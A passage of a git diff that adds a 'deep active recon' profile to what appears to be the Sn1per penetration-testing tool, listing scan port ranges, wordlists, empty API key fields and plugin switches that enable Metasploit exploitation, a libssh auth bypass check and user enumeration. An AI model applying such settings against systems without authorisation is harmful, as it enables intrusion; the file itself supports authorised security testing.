56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="80,443" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="1" +METASPLOIT_EXPLOIT="0" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="0" +SHOW_MOUNT="0" +RPC_INFO="0" +SMB_ENUM="0" +AMAP="0" +YASUO="0" + +# OSINT PLUGINS +WHOIS="0" +GOOHAK="1" +INURLBR="1" +THEHARVESTER="0" +METAGOOFIL="0" +HUNTERIO="0" +INTODNS="0" +EMAILFORMAT="0" +ULTRATOOLS="0" +URLCRAZY="0" +VHOSTS="0" +H8MAIL="1" +GITHUB_SECRETS="1" + +# ACTIVE WEB PLUGINS +BURP_SCAN="1" +ARACHNI_SCAN="1" +DIRSEARCH="1" +GOBUSTER="0" +NIKTO="0" +BLACKWIDOW="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" +WAFWOOF="1" +WHATWEB="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" +WEBTECH="1" +SSL_INSECURE="1" +HTTP_PROBE="1" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" +WEB_JAVASCRIPT_ANALYSIS="1" +MAX_JAVASCRIPT_FILES="25" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="1" +SSL="0" +PASSIVE_SPIDER="1" +HACKERTARGET="1" +GUA="1" +CUTYCAPT="0" +WEBSCREENSHOT="1" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="1" +AQUATONE="0" +SLURP="0" +SUBLIST3R="0" +AMASS="0" +SUBFINDER="0" +DNSCAN="0" +CRTSH="1" +SUBOVER="1" +PROJECT_SONAR="1" +CENSYS_SUBDOMAINS="1" +SUBNET_RETRIEVAL="1" +SUBJACK="1" +ALT_DNS="1" +MASS_DNS="1" +DNSGEN="1" +SHODAN="1" +ASN_CHECK="1" +SPYSE="1" +SUBBRUTE_DNS="0" +GITHUB_SUBDOMAINS="1" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/deep_active_recon b/conf/deep_active_recon new file mode 100644 index 0000000..3821438 --- /dev/null +++ b/conf/deep_active_recon @@ -0,0 +1,214 @@ +INSTALL_DIR="/usr/share/sniper" +SNIPER_PRO=$INSTALL_DIR/pro.sh +PLUGINS_DIR="$INSTALL_DIR/plugins" + +# COLORS +OKBLUE='\033[94m' +OKRED='\033[91m' +OKGREEN='\033[92m' +OKORANGE='\033[93m' +RESET='\e[0m' +REGEX='^[0-9]+$' + +# DEFAULT SETTINGS +VERBOSE="0" +AUTOBRUTE="0" +FULLNMAPSCAN="0" +OSINT="0" +ENABLE_AUTO_UPDATES="1" +# ONLINE="1" +REPORT="1" +LOOT="1" +SC0PE_VULNERABLITY_SCANNER="1" + +# SN1PER PROFESSIONAL SETTINGS +SNIPER_PRO_CONSOLE_OUTPUT="0" +SN1PER_AUTOLOAD="1" +MAX_HOSTS="2000" + +# DEFAULT BROWSER +BROWSER="firefox" + +# BURP 2.0 SCANNER CONFIG +BURP_HOST="127.0.0.1" +BURP_PORT="1338" + +# OPENVAS CONFIG +OPENVAS="1" +OPENVAS_HOST="127.0.0.1" +OPENVAS_PORT="9390" +OPENVAS_USERNAME="admin" +OPENVAS_PASSWORD="" + +# METASPLOIT SCANNER CONFIG +METASPLOIT_IMPORT="0" +MSF_LHOST="127.0.0.1" +MSF_LPORT="4444" + +# SHODAN API KEY +SHODAN_API_KEY="" + +# CENSYS API KEYS +CENSYS_APP_ID="" +CENSYS_API_SECRET="" + +# HUNTER.IO API KEY +HUNTERIO_KEY="" + +# GITHUB API KEY +GITHUB_API_KEY="" + +# SLACK API +SLACK_API_TOKEN="" +SLACK_NOTIFICATIONS="0" +SLACK_NOTIFICATIONS_THEHARVESTER="0" +SLACK_NOTIFICATIONS_EMAIL_SECURITY="0" +SLACK_NOTIFICATIONS_DOMAINS_NEW="0" +SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0" +SLACK_NOTIFICATIONS_SUBOVER_NEW="0" +SLACK_NOTIFICATIONS_SUBJACK_NEW="0" +SLACK_NOTIFICATIONS_S3_BUCKETS="0" +SLACK_NOTIFICATIONS_SUBNETS="0" +SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0" +SLACK_NOTIFICATIONS_SPIDER_NEW="0" +SLACK_NOTIFICATIONS_WHATWEB="0" +SLACK_NOTIFICATIONS_NMAP="0" +SLACK_NOTIFICATIONS_NMAP_DIFF="0" +SLACK_NOTIFICATIONS_BRUTEFORCE="0" +SLACK_NOTIFICATIONS_WHOIS="0" +SLACK_NOTIFICATIONS_METAGOOFIL="0" +SLACK_NOTIFICATIONS_ARACHNI_SCAN="0" +SLACK_NOTIFICATIONS_EMAIL_FORMAT="0" + +# WEB BRUTE FORCE WORDLISTS +WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" +WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" +WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" +WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" + +# DOMAIN WORDLISTS +DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" + +# DEFAULT USER/PASS WORDLISTS +USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" +PASS_FILE="/usr/share/brutex/wordlists/password.lst" +DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" + +# TOOL DIRECTORIES +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" + +# FLYOVER MODE TUNING +FLYOVER_MAX_HOSTS="5" +FLYOVER_DELAY="10" + +# NMAP OPTIONS +NMAP_OPTIONS="--script-args http.useragent='' --open" + +# NMAP PORT CONFIGURATIONS +QUICK_PORTS="21,22,23,25,53,80,110,111,135,137,138,139,143,161,162,443,445,512,513,514,993,995,1099,1433,1723,3306,3389,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8443,8888,8000,9080,9443,10000,10250,49180" +DEFAULT_MSF_PORTS="1-1040,1080,1125,1194,1214,1220,1352,1433,1500,1503,1521,1524,1526,1720,1723,1731,1812-1813,1953,1959,2000,2002,2030,2049,2100,2200,2222,2301,2379,2381,2401,2433,2456,2500,2556,2745,3000-3001,3121,3127-3128,3230-3235,3268-3269,3306,3339,3389,3460,3527,4000,4045,4100,4242,4430,4443,4661-4662,4711,4786,4848,5000,5010,5059-5061,5101,5180,5190-5193,5250,5432,5554-5555,5560,5566,5631,5678,5800-5803,5900-6009,6101,6106,6112,6346,6379,6588,6777,7001-7002,7070,7100,7510,7777-7778,8000-8001,8004-8005,8008,8080-8083,8098-8100,8180-8181,8383-8384,8443-8444,8470-8480,8500,8866,8888,9090,9100-9102,9343,9470-9476,9480,9495,9996,9999-10000,10025,10168,11211,12345-12346,13659,16080,18181-18185,18207-18208,18231-18232,18983,19190-19191,20034,22226,27017,27374,27665,31337,32764,32771,33333,49152,49400,50000,51080,51443,54320,60000,60148,63148,U:7,9,11,13,17,19,37,53,67-69,88,111,123,135,137-139,161-162,177,213,259-260,445,464,500,514,520,523,623,631,749-751,1194,1434,1701,1812-1813,1900,2049,2746,3230-3235,3401,4045,4500,4665-4666,4672,5059-5061,5351,5353,5632,6429,7777,9100-9102,11211,17185,18233,23945,26000-26004,26198,27015-27030,27444,27960-27964,30720-30724,31337,31400,32771,34555,44400,47545,49152,54321" +DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" +DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2002,2049,2067,2100,2103,2121,2181,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2780,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3268,3269,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4002,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5001,5009,5038,5040,5051,5060-5061,5093,5104,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,6262,6379,6405,6443,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7002,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9002,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10250,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,49180,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" +TOP_1000_PORTS="1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,27017" +DEFAULT_UDP_PORTS="53,67-69,88,123,135,137-139,161-162,389,445,500,514,520,631,1434,1900,2049,4500,5353,49152" +FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67-69,U:88,U:123,U:135,U:137-139,U:161-162,U:389,U:445,U:500,U:514,U:520,U:631,U:1434,U:1900,U:2049,U:4500,U:5353,U:49152" + +THREADS="100" + +# NETWORK PLUGINS +NMAP_SCRIPTS="1" +METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="0" +SSH_AUDIT="1" +SSH_ENUM="1" +LIBSSH_BYPASS="1" +SMTP_USER_ENUM="1" +FINGER_TOOL="1" +SHOW_MOUNT="1" +RPC_INFO="1" +SMB_ENUM="1" +AMAP="0" +YASUO="0" + +# OSINT PLUGINS +WHOIS="1" +GOOHAK="1" +INURLBR="1" +THEHARVESTER="1" +METAGOOFIL="1" +HUNTERIO="1" +INTODNS="1" +EMAILFORMAT="1" +ULTRATOOLS="1" +URLCRAZY="1" +VHOSTS="1" +H8MAIL="1" + +# ACTIVE WEB PLUGINS +BURP_SCAN="1" +ARACHNI_SCAN="1" +ZAP_SCAN="1" +DIRSEARCH="1" +GOBUSTER="0" +NIKTO="0" +BLACKWIDOW="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" +WAFWOOF="1" +WHATWEB="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" +WEBTECH="1" +SSL_INSECURE="1" +HTTP_PROBE="1" + +# ACTIVE WEB BRUTE FORCE STAGES +WEB_BRUTE_STEALTHSCAN="1" +WEB_BRUTE_COMMONSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" +WEB_JAVASCRIPT_ANALYSIS="1" +MAX_JAVASCRIPT_FILES="25" + +# PASSIVE WEB PLUGINS +WAYBACKMACHINE="1" +SSL="1" +PASSIVE_SPIDER="1" +HACKERTARGET="1" +GUA="1" +CUTYCAPT="0" +WEBSCREENSHOT="1" + +# EMAIL PLUGINS +SPOOF_CHECK="1" + +# RECON PLUGINS +SUBHIJACK_CHECK="1" +AQUATONE="0" +SLURP="0" +SUBLIST3R="1" +AMASS="1" +SUBFINDER="1" +DNSCAN="0" +CRTSH="1" +SUBOVER="1" +PROJECT_SONAR="1" +CENSYS_SUBDOMAINS="1" +SUBNET_RETRIEVAL="1" +SUBJACK="1" +ALT_DNS="1" +MASS_DNS="1" +DNSGEN="1" +SHODAN="0" +ASN_CHECK="1" +SPYSE="1" +SUBBRUTE_DNS="1" +GITHUB_SUBDOMAINS="0" +RAPIDDNS="1" \ No newline at end of file diff --git a/conf/default b/conf/default index cec3584..9bb6f4c 100644 --- a/conf/default +++ b/conf/default @@ -88,8 +88,9 @@ WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,s # DOMAIN WORDLISTS DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" -DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" +#DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt" DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt" +DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-extreme.txt" # DEFAULT USER/PASS WORDLISTS USER_FILE="/usr/share/brutex/wordlists/simple-users.txt" @@ -97,29 +98,31 @@ PASS_FILE="/usr/share/brutex/wordlists/password.lst" DNS_FILE="/usr/share/brutex/wordlists/namelist.txt" # TOOL DIRECTORIES -SAMRDUMP="$INSTALL_DIR/bin/samrdump.py" -INURLBR="$INSTALL_DIR/bin/inurlbr.php" +THEHARVESTER_PATH="/usr/share/theharvester/theharvester.py" +SAMRDUMP="/usr/share/sniper/bin/samrdump.py" # FLYOVER MODE TUNING FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="--script-args http.useragent='' --open" # NMAP PORT CONFIGURATIONS -QUICK_PORTS="21,22,23,25,53,80,110,137,138,139,161,162,443,445,512,513,514,1099,1433,3306,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8888,8000,9080,10000,10250,49180" -DEFAULT_PORTS="1,10008,10050-10051,10080,10098-10099,10162,10202-10203,1024,10250,1030,1035,10443,105,10616,10628,1090,109-111,1098-1103,11000-11001,11099,11211,11234,1128-1129,113,11333,11460,1158,1199,12000,1211,12174,1220,12203,12221,123,1234,12345,12397,12401,1241,13,1300,13013,1311,13364,135,13500,1352,137-139,13838,14000,143,14330,1433-1435,1440,1471,1494,15000-15001,15200,1521,1530,1533,1581-1582,16000,1604,161,16102,162,16992,17185,1720,17200,1723,1755,179,1811,18881,18980,19,1900,19300,19810,20000,2000-2001,20010,2002,20031,20034,20101,20111,20171,20222,2049,2067,2100,2103,2121,21-23,2181,2199,2207,222,2222,22222,2323,23423,23472,2362,23791,2380-2381,23943,25,25000,25025,2525,2533,2598,26000,26122,26256,2638,264,27000,27015,27017,2780,27888,27960,2809,28222,28784,2947,2967,3000,30000,3037,3050,3057,30718,31001,31099,3128,3200,32022,3217,3268,3269,3273,32764,32913,3299,33000,3306,3310,3333,3389,34205,34443,3460,3465,3500,3628,3632,3690,37,37718,37777,3780,3790,38080,3817,38292,384,389,3900,4000,40007,4002,402,407,41025,41080,41523-41524,42,4322,4433,44334,443-446,4444-4445,44818,45230,465,4659,4672,4679,46823-46824,47001-47002,4800,48080,4848,48899,49,49152,49180,500,5000,50000-50004,5001,50013,50050,5009,502,5038,5040,50500-50504,5051,5060-5061,5093,5104,512-515,5168,5227,52302,523-524,5247,5250,52869,53,53413,5351,5353,5355,540,5400,5405,5432-5433,5466,548,5498,5520-5521,554,5554-5555,55553,5560,5580,5631-5632,5666,57772,5800,5814,587,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,617,62078,623,62514,6262,631,6379,6405,6443,6502-6504,6542,655,65535,6660-6661,6667,67,6789,68,689,69,6905,6988,6996,7,7000-7001,7002,7021,705,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,771,7770,7777-7778,7787,7800-7801,783,7878-7879,7890,7902,79-81,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,831,8333,8400,8443-8445,85,8503,8642,8686,8701,873,8787,88,8800,8812,8834,888,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9,9002,9010,902,9050,9080-9081,9084,9090,9099-9100,910,9111,912,9152,9200,921,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,993,995,998-1000,9991,9999-10001,U:137,U:138,U:139,U:161,U:162,U:2049,U:389,U:500,U:520,U:53,U:67,U:68,U:69,U:88" -DEFAULT_TCP_PORTS="10008,10050-10051,10080,10098-10099,10162,10202-10203,1024,10250,1030,1035,10443,105,10616,10628,1090,109-111,1098-1103,11000-11001,11099,11211,11234,1128-1129,113,11333,11460,1158,1199,12000,1211,12174,1220,12203,12221,123,1234,12345,12397,12401,1241,13,1300,13013,1311,13364,135,13500,1352,137-139,13838,14000,143,14330,1433-1435,1440,1471,1494,15000-15001,15200,1521,1530,1533,1581-1582,16000,1604,161,16102,162,16992,17185,1720,17200,1723,1755,179,1811,18881,18980,19,1900,19300,19810,20000,2000-2001,20010,2002,20031,20034,20101,20111,20171,20222,2049,2067,2100,2103,2121,21-23,2181,2199,2207,222,2222,22222,2323,23423,23472,2362,23791,2380-2381,23943,25,25000,25025,2525,2533,2598,26000,26122,26256,2638,264,27000,27015,27017,2780,27888,27960,2809,28222,28784,2947,2967,3000,30000,3037,3050,3057,30718,31001,31099,3128,3200,32022,3217,3268,3269,3273,32764,32913,3299,33000,3306,3310,3333,3389,34205,34443,3460,3465,3500,3628,3632,3690,37,37718,37777,3780,3790,38080,3817,38292,384,389,3900,4000,40007,4002,402,407,41025,41080,41523-41524,42,4322,4433,44334,443-446,4444-4445,44818,45230,465,4659,4672,4679,46823-46824,47001-47002,4800,48080,4848,48899,49,49152,49180,500,5000,50000-50004,5001,50013,50050,5009,502,5038,5040,50500-50504,5051,5060-5061,5093,5104,512-515,5168,5227,52302,523-524,5247,5250,52869,53,53413,5351,5353,5355,540,5400,5405,5432-5433,5466,548,5498,5520-5521,554,5554-5555,55553,5560,5580,5631-5632,5666,57772,5800,5814,587,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,617,62078,623,62514,6262,631,6379,6405,6443,6502-6504,6542,655,65535,6660-6661,6667,67,6789,68,689,69,6905,6988,6996,7,7000-7001,7002,7021,705,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,771,7770,7777-7778,7787,7800-7801,783,7878-7879,7890,7902,79-81,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,831,8333,8400,8443-8445,85,8503,8642,8686,8701,873,8787,88,8800,8812,8834,888,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9,9002,9010,902,9050,9080-9081,9084,9090,9099-9100,910,9111,912,9152,9200,921,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,993,995,998-1000,9991,9999-10001" 